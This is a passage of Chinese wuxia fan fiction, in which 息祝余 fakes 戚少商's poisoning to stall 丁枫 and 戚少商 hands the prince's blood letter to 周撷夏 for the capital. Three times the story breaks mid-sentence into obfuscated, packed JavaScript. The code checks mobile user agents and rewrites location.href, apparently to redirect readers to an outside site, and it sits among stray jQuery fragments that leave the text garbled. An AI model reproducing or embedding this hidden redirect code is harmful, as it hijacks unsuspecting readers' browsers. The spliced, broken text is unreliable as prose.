如果还没有掏出他的秘密,戚少商就在船上死了,那他们费这么大劲做这么多岂不是白忙活?在拿到那个秘密之前,戚少商绝不能死。 “戚寨主怎么说?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049387|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “因为是刚刚才发现的,毒性还没有发作,所以我还没有告诉他。” 丁枫朝他颔首,说:“我明白了,我会尽力掩护大家的行踪,戚寨主的情况也烦请祝公子多费心,如果有进展务必告诉我。” “这是自然,一旦可以控制他身上的毒,我就立即告知你,届时早日上船摆脱官兵的追捕。” 待丁枫离开后,息祝余把玩着手里的折扇,垂下眼帘。 果然,他的判断没有出错。 丁枫是为了戚少商而来的,戚少商身上一定有能够让蝙蝠岛有利可图的秘密。这个秘密想必现在还没有被探出来,所以丁枫才要保证戚少商活着,保证戚少商活着到达蝙蝠岛随后被挖出秘密,这之后戚少商的死活于他而言就无关紧要了。 他很有可能还跟朝廷的人有勾结,待戚少商于他无用时还可以把人卖给这群闻着味而来的鬣狗,抓捕朝廷要犯对于他们而言可是一件大功劳。 息祝余不吝啬于以最大的恶意揣测丁枫的行动和心思,蝙蝠岛的大本营在海外的岛屿上,可名声在外,即使是蔡京也对蝙蝠岛上拍卖购买的东西感兴趣。这样危险的势力绝不是某人单打独斗就能应付得了的。 现如今就看丁枫有多想要得到戚少商的秘密,又有多在意戚少商的死活了。息祝余如此盘算,拿戚少商身上的毒来说事,应该可以拖一段时间,至少要等四号马甲周撷夏过来,这样他们才不至于在丁枫的掌控下孤立无援。 也不知道丁枫什么时候会去找戚少商确认戚少商是否真的中毒,息祝余想,毕竟他把激发戚少商身上毒性的另一种药刚刚下在丁枫身上了。 若是丁枫过几日再去找戚少商的话,戚少商还能过几天安生日子,可若是丁枫一跟他分开就去找了戚少商,那只能叫戚少商自认倒霉。 丁枫自然不会全然相信息祝余的一面之词,他敲了敲门,在得到许可后走进戚少商的房间,戚少商和息红泪见丁枫进来都与他行礼,丁枫也还礼,随后坐下。 戚少商问道:“丁公子可是找我们有什么事?” “只是想来看看戚大侠如今伤势如何。” 戚少商笑道:“我的伤势并无大碍,多亏了丁公子相助,再加上祝余帮忙,现在已经恢复得差不多了。” “那就好,戚寨主,不如我们即日启程,以免夜长梦多……戚寨主!” 丁枫的话还没有说完,眼见着戚少商忽然哇地一口血呕出,面上露出痛苦之色。 息红泪连忙扶住戚少商。 “少商?少商你这是怎么了,稍忍一忍,我这就去把小弟叫来!” “丁公子,少商就拜托你照看一下,我去叫祝余!” 息红泪急匆匆地走了,留下丁枫和戚少商共处一室。戚少商脸上的痛苦绝非作假,丁枫保持着面上的担忧,仔细观察着他的状态,他虽然懂些医理,可对于毒也看不出个什么所以然来,只是见戚少商如此模样,心中对息祝余的判断又多信了几分。 16.说秘密 无情和铁手一行人寻着刘独峰的踪迹,终于见到了这位大名鼎鼎的捕神。 以刘独峰的辈份而论,可以算是无情铁手等人的前辈,跟诸葛先生来比,可以算是师弟级的人马,无情对他一向敬重,之前他们也曾经有过几次合作,彼此惺惺相惜,刘独峰对无情也有很高的评价。 在路上,无情向铁手表示,他认为以刘独峰的名气地位和行为处事,居然难得离开京城出动就为追捕戚少商,这足以说明戚少商的特别之处。 “京城各路人马尽数出动,只为了连云寨和戚少商,这么大动干戈,若说其中没有缘故,我不信。” 无情用平静的口吻说道。 听罢,刘独峰抚髯笑道:“不错,确实如此,要怪也只能怪戚少商交友不慎。” “交友不慎,前辈莫非是指顾惜朝?” “不止如此。”刘独峰摇摇头。 他的视线落在铁手身上,却并不开口。无情和铁手一时不解,但很快,他们意识到刘独峰是在暗示什么。 无情沉吟片刻,道:“难不成此事与楚相玉有关?” “不愧是无情。”刘独峰赞赏道。 “也是大人没有隐瞒之意。” 刘独峰笑了笑,并不反驳,只道:“在楚相玉被铁手杀死之前,他曾经上过连云寨,戚少商庇护过他一段时间,他一向极为赏识、器重戚少商,极有可能将一些重要的秘密告诉过戚少商。傅宗书本以派出黄金麟、鲜于仇和冷呼儿前来围剿戚少商,因为这个秘密,又派出了心腹文张,包括我也是奉圣上旨意为此而来。” “一些重要的秘密?” “不错,一定是至关重要的秘密。不然绝不可能如此受人重视。” “刘大人也想知道这个秘密?” “不,我不想,我不好奇,也不想引来杀身之祸。知道太多的人总是很不快活的。我本就想要从官场中抽身退隐,等这件事情结束之后,我便打算上书乞骸骨。” “盛捕头,铁捕头,此事与你们无关,你们大可不必淌入这浑水。” “刘大人说是如此说,可您的言行并非此意,若是真觉得我们不应该掺和进来,就不会告诉我们追捕戚少商背后的原因了。” “戚少商也是抗金义士,英雄好汉,我实在不忍看一代英雄落得如此下场。这也是我全力追捕他的原因之一,若是叫他落在文张等人手里,只怕难逃厄运。铁捕头有过亲身经历,想来也深有感触,黄金麟冷呼儿等人不过反复无常背信弃义的小人,说出口的话,做出的承诺半点不可信。” 铁手道:“确实如此。” “这么说来,刘大人是想救戚少商了。” 刘独峰叹道:“救他?谈何容易,不过是想先一步找到他,之后走一步看一步罢了。” “这么说来,我们必须要赶在黄金麟文张等人之前找到戚少商,不能让戚少商落到他们手里,不然事情就麻烦了。” “正是如此,傅宗书如此大动干戈,除了因为这秘密至关重要以外,只怕他还存了一些别的心思,派遣心腹文张应当也是因为这个缘故。他想要赶在所有人之前知道这个秘密,以此来威胁官家,得到更大的利益和好处。” “说到黄金麟,你们可有听说最近的消息,我听到之后可真是吓了一跳,还以为自己听岔了,或是还没睡醒尚在梦中。” 无情与铁手对视一眼,摇摇头,说道:“我们一路上都想着要与刘大人汇合,别的情报暂时还没顾着打探,不知是出了什么事情?” “不必如此担忧,倒也不是什么坏事。黄金麟和鲜于仇并没有找到戚少商,传来的是他们二人的死讯。” “他们死了?” “不错,我虽然没将他们放在眼里,但是能在重重官兵包围之下杀了他们两个人而后逃离的也绝非寻常之辈。最近也没有听说有什么高手来到了这附近的消息,突然冒出来这样一伙人杀死了黄金麟和鲜于仇,虽说是件好事,可也真不知是敌是友。何况黄金麟他们还是朝廷命官,即使是逃亡中的戚少商也不得不顾及这一点,可这群家伙说杀就真杀了,由此可见也是蔑视法理的狂徒。” 刘独峰抚髯,长叹一声,想来他也是因为戚少商一事涉及的情况太多而常常陷入思虑。 “若是恶人,自当以法理惩处,是非公道有天理定夺,于这些没影子的事情想太多也无济于事。” “不错,盛捕头是豁达之人。” “对了,铁捕头,之前跟在你身边的那个少年怎么没见到他?” 无情回答道:“我让小夏先一步去找戚少商了,他的追踪术很好。” 见刘独峰欲言又止,无情便问道:“不知刘大人可有什么嘱托?” “嘱托谈不上,只是之前见面时没有想起来,后来才觉得那少年面熟,似乎曾经在哪里见过。” 铁手想了想,说道:“实不相瞒,小夏的兄长是原先在傅宗书手下的青梅竹,不知刘大人可是曾经与青梅竹打过照面,所以残留些印象?” 刘独峰意味深长道:“青梅竹?不是他,我还不至于老眼昏花到这个地步。我想起来了,我是在蔡姑娘身边见到他的。” 铁手对于此事并不知情,听闻此言,露出惊讶的表情,无情则并不意外,语气平静地说道:“他与蔡姑娘有些私交,但不至于牵扯到公事,这点还请刘大人放心。” “无妨,这也没什么放不放心的,若真是蔡姑娘身后的人察觉到此事背后的秘密,戚少商所遇到的追杀只怕不止如今这个程度。我只是想说,那少年毕竟是年轻人,年少慕艾,但蔡姑娘出身黑面蔡家,又是六分半堂中人,若真想取得心仪之人的芳心,只怕他还有得等,你们这些个做师兄的也不必苛责于他。” 刘独峰深谙明哲保身之道,不轻易得罪任何人,在官场上圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065581|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑得紧。他既不想跟诸葛正我撕破脸,也不想直谏惹恼官家,更不曾与蔡京傅宗书等人公然对立。他出身官宦世家,常年行走富贵之地,自然有自己的一套为人处世的办法。 他对寻常年轻人之间的事情并不会多管,只是这两人身份敏感,不说那擅使匕首的少年捕快,单说蔡姑娘,那可就是一个麻烦缠身的角色。 若只是官宦千金、大家小姐也就罢了,可偏偏她也涉及了不少京城中的事情,说起话来也有一定的分量。与她的同僚雷媚不一样,蔡筱蔡姑娘并非江湖上列为神秘又危险的女人,她本人的名声要更加柔和一些,但也绝非像六分半堂雷纯小姐那样不通武功,有着温柔无害的美人名声,江湖上唤她枕烟峦,也与她的武器同名,并没有增加太多她本人行事作风的影响,反而更添了几分捉摸不定的神秘气息。 江湖上常说雷损艳福不浅,妻子关昭弟是早在未嫁人时就相当有名的梦幻天罗,迷天盟的主事人之一,那个关七关木旦的妹妹。女儿雷纯是现如今江湖上响当当的美人之一,有着神秘而危险名声的雷媚据说也是雷损的情妇。蔡筱蔡姑娘也有一张美丽的容貌,有的风言风语便传雷损与蔡筱也有那么一点微妙的关系,不过对于这种说法,很多人都嗤之以鼻。 正如刘独峰所言,蔡筱出身黑面蔡家,是蔡京的内亲,她本人也深得蔡京信重,很多时候她的行动背后都有蔡京的授意,哪怕是她的顶头上司雷损在吩咐她做事之前也不得不多思量考虑一番再下决定。 周撷夏是六扇门的捕快,诸葛神侯府中属下,又与无情铁手等人关系密切,刘独峰不打算与蔡京和诸葛正我中任何一方交恶,便只浅浅提一句,见无情心中有数,一副知情人的模样,便不再多言。 铁手和四剑僮都是第一次听说这事,但事关周撷夏的私事,无情又没有主动提起的意思,他们便也不多说什么。铁手本身就是善解人意的宽厚性子,倒是银剑和铜剑私下里很是惊讶,还拉着金剑一起嘀嘀咕咕地聊过几句。 他们对蔡筱的身份了解程度不过是知道她是六分半堂的枕烟峦,最近似乎有要升职成为堂主的消息,能够以外姓人的身份成为堂主,不管排名多靠后,看上去都深受六分半堂器重。所以他们惊讶的点多是倾向于周撷夏这边,震惊于小夏哥哥居然有了心仪的姑娘,而且还已经过了明路的样子,毕竟公子是一副知情人的态度,而且也没有反对和不赞同的意思。 只是他们知道的消息比较少,再怎么聊也谈不出花来,最终也沦落到面面相觑的结果,然后结束话题。 铜剑还说等见了面一定要好好问问周撷夏,这么大的事情不跟他们说也太不够意思了。倒是金剑林邀德年纪大一点,对于这些关于心仪之人的话题也更敏感些,不像银剑和铜剑没有这根弦,能够大大咧咧说出口,林邀德考虑再三,决定劝住银剑和铜剑,让他们只要周撷夏不主动说就别开口提起此事。 17.解问题 由于在路上耽搁了一段时间,周撷夏和六朝烟在之后的路程上皆加快了速度。他们一个杀手一个捕快,常年在外奔波,皆是赶路的好手,不日便赶到了符口渡。 “去盯着蝙蝠岛的船。” 六朝烟朝少年颔首,随后身形没入阴影离开,行动利落,半点也不拖泥带水。 他对周撷夏的话没有任何异议。一开始或许是因为姑娘对周撷夏的信任,但后来相处次数多了,六朝烟对周撷夏的能力也增加了不少了解。周撷夏绝非无的放矢之辈,他既然开口,有了行动,那就一定有他的道理。 六朝烟自认不过是杀人的工具,工具不需要知道太多的内情,只要确认好现在正在使用他的人是谁就够了。 他对于蝙蝠岛的了解并不是很多,但就像杀人也无需对被杀的人了如指掌一样,六朝烟所需要做的只是像要杀掉与蝙蝠岛有关的人一样盯死他们,等待周撷夏的下一个指令,做好随时能够杀死他们的准备。 留下一个杀手盯着丁枫的船和人,周撷夏悄无声息地来到戚少商他们现在所住的宅院附近,一边盯着进进出出的人,一边等待无情和铁手的到来。 从息祝余的视角来看,与丁枫有着密切联系的枯梅大师非常可疑。他们这一行人中除了戚少商以外,来援护帮忙的一个是息祝余,一个是息祝余的姐姐息红泪,还有小雷门雷卷和沈边儿,再有就是枯梅大师了。 息祝余没有忘记,一开始是枯梅提出要往符口渡走,说这边有她认识的人,可以开船离开岸上躲避风头。可他们来到这边后,见到的人却是丁枫。凭心而论,如果不知道丁枫与蝙蝠岛之间的联系的话,息祝余相信他自己也不会觉得这有什么不对,说不定跟戚少商一样傻乎乎地相信感激着他们。 可即使如此,性情执拗孤僻的枯梅大师会与蝙蝠岛有什么暗地里的勾结,这点仍令他捉摸不透。 周撷夏在周围看了几天,枯梅都没有出门的意思,待在房间里打坐练功,过得与她在华山上时似乎一般无二。这样一来,即使盯着枯梅也找不出丁枫背后的主使,不知道他究竟还有什么谋划在等着他们。 但枯梅不动,不代表丁枫不动。 周撷夏跟了丁枫几回,跟着他到当地官员府上见到了之前袭击息祝余等人的白衣文士,丁枫称呼他为文大人。 想到白衣文士先前自称姓张,周撷夏猜测此人应当就是敉乱督察使文张。文张升官速度极快,只是一般通常以文士打扮,并不以武力见长,没想到他武功也那么高,当日若不是有枯梅在先,息祝余也只得避其锋芒。 文张性子并不急躁,讲究谋定而动,稳妥行事,对于丁枫所言戚少商中毒一事,他也赞同先在岸上缓几日养一养身体的安排,不然若是死在海上,尸身都捞不上来,那样的话功劳又算谁的可说不准。 “戚少商,关于我之前说的事情,你有想出什么答案吗?” “你是说我为什么会被朝廷通缉吗,我也不知道,可能是因为我交友不慎,以及运气不好吧。” 戚少商的语气听起来有些虚弱。这是理所当然的,毒素在他体内沸腾的时候并不会叫他很好受。为了防止被发现端倪,息祝余给他下毒都是真材实料,除了并不会真的对身体造成什么伤害,甚至有助于促进内伤恢复以外,在发作的时候没有半分虚假。 这些都是他还在温华倩身边时闲时无聊做着打发时间的玩意,没什么杀伤力,没想到真派上了用场。 这些日子以来,光是丁枫看到戚少商吐血剧痛就有三四回。他也请其他大夫蒙眼来看过,给出的结果都不是很好,有的大夫直言让他们早日准备后事。丁枫一时也无法,只得默许他们暂时停留在院子里歇息。 “是吗,这可不是什么好的敷衍的理由,我可不信这些虚无缥缈的东西。你再想想,说不定是你不知道什么时候把皇帝揍了一顿所以他气急败坏让官兵来围剿连云寨叫你偿命。” 即使是如今这般模样,戚少商听了息祝余的话仍有些哭笑不得。 他对息祝余对皇帝的无礼并不以为意,当今圣上昏庸无道也不是一天两天了。他戚少商本就是义军匪寇,以前还同楚相玉有过一段时间的友谊,拿他当朋友,只是戚少商对楚相玉心狠手辣不择手段的做法一向不以为然,大家行事方式不同,所以后来联系也不是很密切,只是在楚相玉遇难逃亡时出于道义庇护了他一段时间。 “我怎么可能得罪过皇帝,我又没进过宫。再说了,就以那昏君的胆子,真若是跟我这样的匪贼单独见了面,只怕跑得比兔子还快。” “他若真来见你,只怕要千军万马来给他壮胆。”息祝余哼了一声。 他看不惯戚少商不假,但若是跟赵佶相比的话,戚少商绝对比他不知道好到哪里去了。 听罢,戚少商笑出了声。他笑了一会,被喉咙里的血呛住,接连咳了好一阵才罢休。 “祝余,我还能活多久?” 息祝余就事论事,“要是就现在去隐居山林的话,应该能活到头发花白,成为一个独臂老头。” 戚少商无奈道:“我是说我中的这个毒,我自己的身体情况自己也清楚,丁公子还请了别的大夫来为我看诊。你就是最好的大夫,若非我真的药石无医,他们何必疾病乱投医。” 对戚少商称他是最好的大夫,息祝余轻哼了一声,笑了笑,道:“那是自然,我若说能治,那就肯定能治。你的眼光真是时好时坏的,等事情结束了别忘了去看看眼睛的毛病,再遇上顾惜朝这类家伙可没人累死累活来救你了。” 戚少商听他话语有异,原本还惆怅的表情停住了,他看向息祝余,眼神变得亮了起来,似乎是想要从息祝余这里得到一个答案。 “你的意思是说?” “毒是我给你下的,放心好了,肯定能治好。” “啊?” 息祝余的笑容转瞬即逝,他沉下脸,冷声道:“你难道不觉得这里有问题吗,我们在这里待了多久,丁枫在这里确有势力不假,可他真能拖住官兵这么久,那群想要用你去换取功名利禄的鬣狗真能忍得下不咬人?” “哪怕这里的人死光了,只怕以傅宗书手下那群狗官的性子都不会动一下眉毛。既然如此,他们为什么不强行搜人,或是火烧城镇逼我们出来,他们不是干不出来这种事的人。” 息祝余的意思很明显,他怀疑丁枫有问题。 戚少商沉默了一会,苦笑道:“虽然我想说我相信他,但是现在不是只有我一个人,何况像你刚才说的那样,过往的事实证明我的眼光有时候也不怎么好。祝余,你说怎么办,我听你的。” “这么轻易就松口?”息祝余稀奇地瞧着他。 “即使我不同意,你也有想好如何去做吧,像这样,我也是事后才知道你给我下了毒。” “红泪跟我说了一些事,说你是因为想要救人所以与你师父闹了一些不愉快。” “姐姐倒是什么都愿意跟你说。” “我和红泪……是我对不住红泪。” 息祝余抬手做了个暂停的动作,“打住,我可不想浪费时间跟你说这个,戚少商,我跟你说这个毒是我下的,就是为了让你不要胡思乱想。现在你的任务就是回想以前究竟发生过什么导致朝廷这么大费周章围剿连云寨,傅宗书接连派出心腹追杀你,以及以丁枫为代表的这个势力也想要你的这个秘密。” “你还记得我提过的小夏捕头吧。” “记得,他替雷家弟兄报了仇,杀了福慧双修。” “不错,他先前跟铁手一道去寻无情了,如今在往我们这边赶来。以无情和铁手的为人,想来知道事情原委后定有心助你。” 戚少商了然,说道:“所以你让我回想究竟是什么事情导致了我的杀身之祸。” “不错,而且说不定这件事情被你透露给了顾惜朝。” “我明白,如果不是顾惜朝知道了,告知了傅宗书,不会如此突然就下令追捕的。” “你知道就好。那就好好想吧,你的毒我已经解了,身体也没问题,那些毒只是发作的时候瞧着吓人,实际上于你没什么害处,不过记得装一装样子,别在别人面前漏了馅。” 息祝余满意地一点头,正欲起身离开,戚少商又叫住了他。 “下毒这件事情,除了我你还告诉了谁?” “谁也没告诉,我建议你也别告诉其他人。” “红泪也不行吗?” “不行,我还不想被她追着打。” 息祝余慢悠悠地说完这句话,离开了戚少商的房间。 戚少商看着他的背影,怔了一会,忽然笑了起来。 息祝余自是听见了戚少商的笑声,虽然没有笑得非常大声,但息祝余又没有聋,他当然听得见这动静。索性眼不见心不烦,他在脑海中再度过了一遍如今的局势。 好在周撷夏和六朝烟已经到了符口渡,也算多了两个奇袭战力。而若说要等破局的机会,也只能是等跟着周撷夏记号而来的无情与铁手了。 当别人对他寄予厚望的时候,铁手从不让人失望。 无情和刘独峰的轿子太过于显眼,考虑到这一点,铁手带着金剑一大一小两个人走进了城镇。 “我们要去找哥哥吗?” 周围人多嘴杂,金剑隐去了对铁手的称呼。他拉着铁手的袖子,与铁手二人像一对普普通通的父子。 “不,我们不一定找得到他,等他来找我们就好。” 这么说着,铁手拉着金剑走到一家酒楼,上楼,要了包间,随后让他们上些吃食和茶水。 待小二上完菜离开后,铁手温声道:“坐下先吃点东西吧。” 金剑一愣,忙转头看去,只见周撷夏就站在门旁边,也不知道站了多久,明明头上系着红色的抹额,却好似整个人都融入了环境一样一点也不起眼。若不是铁手出声,金剑完全没有察觉到。 这就是为什么周撷夏去当捕快单独办案的倚仗所在吗?金剑若有所思。 他一直都知道周撷夏躲藏的功夫很好,神出鬼没的,但一直都没有见他在办案过程中用过。如今见了一回,倒也不是不能理解。 无情收留了他们,他们几个孩子虽说是公子的剑僮,但实际上关系亲厚,无情更是请了铁手追命和冷血教授与他们几人性情相符的招数。比起拥有能够单独外出办案的能力,无情更希望他们几个能平平安安地长大。 周撷夏拥有这样一手躲藏潜伏的本事,不管怎么说,于他的性命都增添了一份保障。 “小夏哥哥,你什么时候来的?” “我在路上看到你们了,给了二师兄暗示后,跟你们一起上楼进的包间。” 周撷夏坐下先是吃了两口饭垫垫肚子,随后将现在的情况简略说明,隐去了蝙蝠岛的名字,只说了丁枫与文张勾结的事。 铁手一边听一边露出了凝重的表情。 “看来戚寨主的处境不容乐观,我想见他一面谈一谈,刘大人告诉了我们一个重要消息,小夏你可知道他如今在何处?” “知道,不过那是丁枫的院子,我们进去要小心。金剑在这里等我们吧。” 林邀德点点头,说道:“好,你们路上小心。” 周撷夏带着铁手潜入院子,熟门熟路避开巡逻的守卫,从戚少商房间的窗户翻了进去。 “铁二哥!” 戚少商露出喜不自胜的神情,他忙压低声音,说道:“真没想到还能再见到你,你没事真是太好了。” 铁手也笑了笑,拍了拍他的肩膀,“你也是,比我预想的要好不少。” 关键时刻,寒暄关怀的话可以日后再提,铁手将刘独峰的话告诉了戚少商,并问戚少商有什么想法。 “祝余也说要我多想一想,我想是想到了,只是觉得太过荒谬,所以没有真的觉得是因为此事。没想到还真是这个缘故。” 戚少商苦笑道:“楚相玉告诉我的时候,我没当真,可现在如此行事重重,就为了杀戚某一介武夫,也容不得我不当真了。” 他深吸一口气,缓缓吐出,随后将楚相玉告知他当今皇帝得位不正的消息还有留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078054|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在他这里的太子血书一并说了出来。 楚相玉原是三太子少保,曾护亲王投奔女真部,图谋争回帝位,但中途被蔡京和傅宗书的人截杀。亲王身故,楚相玉逃得一死,身上有太后的手渝与太子的血书,足可揭露当今皇帝大逆不道、逼害宗室的罪行。太后手谕,楚相玉携之逃亡,而太子的血书,则被他嘱托给了戚少商代藏。 “事到如今,当时的当事人大多已死,即使将太子血书拿出来,也做不了什么,徒增动乱。他们只怕是想拿这东西去要挟皇帝,稳固自己的地位,同时避免被别人发现遗臭万年罢。” 铁手沉吟片刻,道:“若你信得过我,可否容我回京将此事告知世叔,由世叔为你周旋一二。” 戚少商犹疑道:“这倒不是信不信得过你的问题,只是这等大事,我已经连累了不少亲友,若是麻烦你们,又惊动诸葛先生,白惹得他忙碌费心,倒叫我过意不去,于心不安。” 周撷夏冷不丁开口道:“既然你说世叔知晓当年内情,便是局中人,官家也没叫世叔如何,可见此事并非毫无回旋余地。猫有猫道,鼠有鼠道,官场的事情由官场来解决,总比大家在外面没头没脑地打转要好。戚寨主若信得过我,可以由我来跑这一趟,我的速度比二师兄更快一些。” 铁手温声附和。 “小夏说的在理,如今傅宗书的手下于你虎视眈眈,又另有其他势力觊觎此事,别的也就罢了,此事于江山社稷稳定有关,兹事体大,于公于私我们都想出些力,帮点忙。” 戚少商沉吟片刻,道:“好。” 他忽得拿出他的剑,在铁手和周撷夏二人的注视下将青龙剑剑鞘中藏着的血书取出,交给周撷夏。 “一事不烦二主,空口白话无凭无据只怕难以取信,小夏捕头,你将这份太子血书也一并带去。希望能帮上诸葛先生。” “定不负所托。”周撷夏颔首。 铁手说:“文张已至,以他之老谋深算,如今不动手恐怕是为了更大的利益,大概率是与其他势力达成了一致。不过刘独峰刘大人和大师兄也来了此地,就在不远处,只是顾及被人发现没有进城。我们还有几分把握周旋一二,能够等京城那边打点妥当。” “周旋不了也无妨,大不了去海上走一遭。我看到快网张三也在这个码头,若实在不成,托他开船避一避也是个法子。” 听周撷夏提到快网张三,戚少商笑了。 “那小子也在这里吗,倒真是巧了。也好也好,实在不行就去找他掌舵吧。我们这几个可没有一个会开船的。若我能全须全尾地活下来,日后给那小子整上不少上好的珍珠权做赔偿便是。” “他若听你这话,肯定倾力相助。” “借你吉言。” 快网张三此人不但水性高,鱼烤得好,而且机警伶俐,能说会道,眼皮杂,交的朋友也多,对朋友当然也很够义气。 这人样样都好,只有一样毛病。 只要一看到好的珍珠,他的手就痒了,非要想法子弄到手不可。黄金白银、翡翠玛瑙于他而言毫无吸引力,都打动不了他的心。只有珍珠,好的珍珠能够吸引他。大家基本上都知道他的这个毛病。 戚少商朋友众多,他对朋友讲义气,也喜欢讲义气的人。烤鱼烤的很好吃的张三自然也是其一。他们打过几回交道,对彼此的印象都很好。 与戚少商分别后,周撷夏直接启程往京城赶去,铁手则回去与金剑汇合,后见到无情与刘独峰等人,告诉他们接下来的打算。刘独峰刚听了个开头,得知与楚相玉的秘密有关,连忙截住他的话,叫铁手只说接下来怎么做便可,这等秘密他还没有那么多好奇心想要知晓。 于是铁手后来便只告诉了无情此事。无情听他说完后,只是皱了皱眉,沉默了片刻,对于此等欺君叛主之事瞧着也不曾有太多反感。 “小夏一个人拿着太子血书去了京城吗,也好,他一个人的话若非他自己故意,否则谁也找不到他。” “是这个理,这样就算傅宗书的人后面知道此事,派再多的人设再多的阻碍也抓不住他。” 铁手笑道:“我今日瞧,金剑见他跟忽然出现在旁边一样的时候,也很是惊讶,但后来好像很快就想通了。” 无情嗯了一声,“四剑僮没有见过他单独出去办事的模样,他们只是之前见他跟追命的练习,真正在外面见到肯定还会惊讶的。” 无情和铁手只聊周撷夏,是因为他们知道接下来的事情并没有说出口的那么容易。文张代表了朝廷命官,又有敉乱督察使的由头,追捕戚少商天经地义,无情等人并无阻止他的理由。若真是公开出手,反倒会给文张递上自己的把柄。 众人拾柴火焰高,事情也并没有那么难办。 在丁枫和文张意识到的时候,戚少商已经不知为何消失得无影无踪了。他就像凭空从宅子里消失了一样,只剩下息红泪、息祝余和雷卷等人。这几个人很快也与刘独峰、无情和铁手汇合,没有了戚少商,若是去抓捕息红泪和雷卷,从江湖道义上来说是站不住脚的。本该与文张一伙的刘独峰也没有擒拿息红泪等人的意思。 文张意识到此刻不能与他们硬碰硬,而符口渡能藏人的地方都已经找了个遍,那么戚少商就只有可能去一个地方。 海上。 “戚少商一定上了船,只是不知道究竟是谁开船带他离开,又去了哪里。” 文张下了属于自己的判断。 “海上即使带够充足的粮食和淡水,也只能航行一段时日,接下来必须回到岸上进行补给。这样一来,戚少商的行踪也只是能够被掩盖一时罢了,他们莫非有什么需要拖延时间就能得到的东西吗?” 对于文张的疑问,丁枫回答不了,不过他可以回答另一个问题。 “叫人去查了,最近从港口消失的只有快网张三的船。听人说他走的时候船上还有两个人,一个独臂,符合戚少商的特征。” 文张了然,笑了笑,道:“看来无情是有备而来,也是,毕竟是四大名捕之首,一出手果然了得。”